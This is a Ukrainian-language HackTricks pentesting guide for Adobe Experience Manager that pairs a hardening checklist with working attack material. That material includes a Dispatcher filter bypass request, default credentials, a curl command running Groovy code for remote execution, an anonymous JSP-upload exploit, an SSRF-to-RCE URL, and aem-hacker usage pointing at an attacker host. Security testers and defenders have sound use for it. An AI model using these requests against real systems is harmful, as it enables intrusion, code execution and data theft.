AEM (Adobe Experience Manager) Pentesting
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Adobe Experience Manager (AEM, частина Adobe Experience Cloud) є корпоративною CMS, яка працює на базі Apache Sling/Felix (OSGi) та Java Content Repository (JCR). З точки зору атакуючого, екземпляри AEM дуже часто відкривають небезпечні кінцеві точки розробки, слабкі правила Dispatcher, стандартні облікові дані та довгий список CVE, які виправляються щоквартально.
Список перевірки нижче зосереджується на зовнішньо доступній (без аутентифікації) атакуючій поверхні, яка постійно з'являється в реальних випадках (2022-2025).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Інші швидкі індикатори:
/etc.clientlibs/
статичний шлях присутній (повертає JS/CSS)./libs/granite/core/content/login.html
сторінка входу з банером “Adobe Experience Manager”.</script><!--/* CQ */-->
коментар внизу HTML.
2. Високоякісні неавтентифіковані кінцеві точки
Шлях | Що ви отримуєте | Примітки |
---|---|---|
/.json , /.1.json | JCR вузли через DefaultGetServlet | Часто заблоковано, але Dispatcher bypass (див. нижче) працює. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Витік дерева сторінок, внутрішні шляхи, імена користувачів. |
/system/console/status-* , /system/console/bundles | OSGi/Felix консоль | 403 за замовчуванням; якщо відкрито та знайдено облікові дані ⇒ завантаження пакета RCE. |
/crx/packmgr/index.jsp | Менеджер пакетів | Дозволяє автентифіковані пакети контенту → завантаження JSP корисного навантаження. |
/etc/groovyconsole/** | AEM Groovy Console | Якщо відкрито → довільне виконання Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Журнали аудиту | Розкриття інформації. |
/libs/cq/ui/content/dumplibs.html | Вивантаження ClientLibs | Вектор XSS. |
Трюк обходу Dispatcher
Більшість виробничих сайтів знаходяться за Dispatcher (реверс-проксі). Його правила фільтрації можна обійти, додавши дозволене статичне розширення після крапки з комою або закодованого нового рядка:
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Один запит, як зазначено вище, часто розкриває вузли профілю користувача з адресами електронної пошти. P-T Partners опублікували хороші рекомендації щодо цієї вразливості. 【】
3. Загальні неправильні налаштування (все ще актуальні у 2025 році)
- Анонімний POST сервлет –
POST /.json
з:operation=import
дозволяє вам створювати нові вузли JCR. Блокування*.json
POST у Dispatcher вирішує цю проблему. 【】 - Профілі користувачів, доступні для всіх – за замовчуванням ACL надає
jcr:read
на/home/users/**/profile/*
всім. - Стандартні облікові дані –
admin:admin
,author:author
,replication:replication
. - WCMDebugFilter увімкнено ⇒ відображений XSS через
?debug=layout
(CVE-2016-7882, все ще виявляється на застарілих установках 6.4). - Відкритий Groovy Console – віддалене виконання коду шляхом надсилання Groovy скрипту:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
4. Останні вразливості (каденція сервіс-паків)
Квартал | CVE | Підлягає | Вплив |
---|---|---|---|
Грудень 2024 | CVE-2024-43711 | 6.5.21 та раніше | Неправильна валідація введення → Випадкове виконання коду (вимагає авторизації з низькими привілеями). 【】 |
Грудень 2024 | CVE-2024-43724/26 | 6.5.21 та раніше | DOM / Збережений XSS у Move Page Wizard. 【】 |
Грудень 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS на основі DOM через спеціально підготовлене URL. 【】 |
Грудень 2022 | CVE-2022-30683 | ≤ 6.5.13 | Дизайнерська помилка криптографії → розшифрування секрету (потребує облікових даних з низькими привілеями). 【】 |
Завжди перевіряйте бюлетень APSB, що відповідає сервіс-паку клієнта, і запитуйте останній 6.5.22 або Cloud Service 2024.11.
5. Фрагменти експлуатації
5.1 RCE через обхід диспетчера + завантаження JSP
Якщо анонімний запис можливий:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Тепер запитайте /content/evil.jsp
– JSP виконується з користувачем процесу AEM.
5.2 SSRF до RCE (історичний < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py
з aem-hacker автоматизує весь ланцюг. 【】
6. Інструменти
- aem-hacker – скрипт для енумерації, підтримує обхід диспетчера, виявлення SSRF, перевірки стандартних облікових записів та інше.
python3 aem_hacker.py -u https://target --host attacker-ip
- Content Brute-force – рекурсивно запитувати
/_jcr_content.(json|html)
, щоб виявити приховані компоненти. - osgi-infect – завантажити шкідливий OSGi пакет через
/system/console/bundles
, якщо доступні облікові дані.
7. Контрольний список посилення безпеки (для рекомендацій у вашому звіті)
- Тримайте інстанцію на останній кумулятивній службі (на липень 2025: 6.5.22).
- Видаліть/змініть стандартні облікові записи; впровадьте SSO/SAML.
- Посиліть фільтри диспетчера – забороніть
;
, закодовані нові рядки та*.json
або*.querybuilder.json
для анонімних користувачів. - Вимкніть або захистіть консолі (
/system/console
,/crx/*
,/etc/groovyconsole
) за допомогою списків дозволених IP. - Застосуйте пакет Anonymous Permission Hardening, надісланий Adobe.
Посилання
- Adobe Security Bulletin APSB24-69 – “Оновлення безпеки для Adobe Experience Manager (грудень 2024)”.
- 0ang3el – інструмент aem-hacker (GitHub).
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.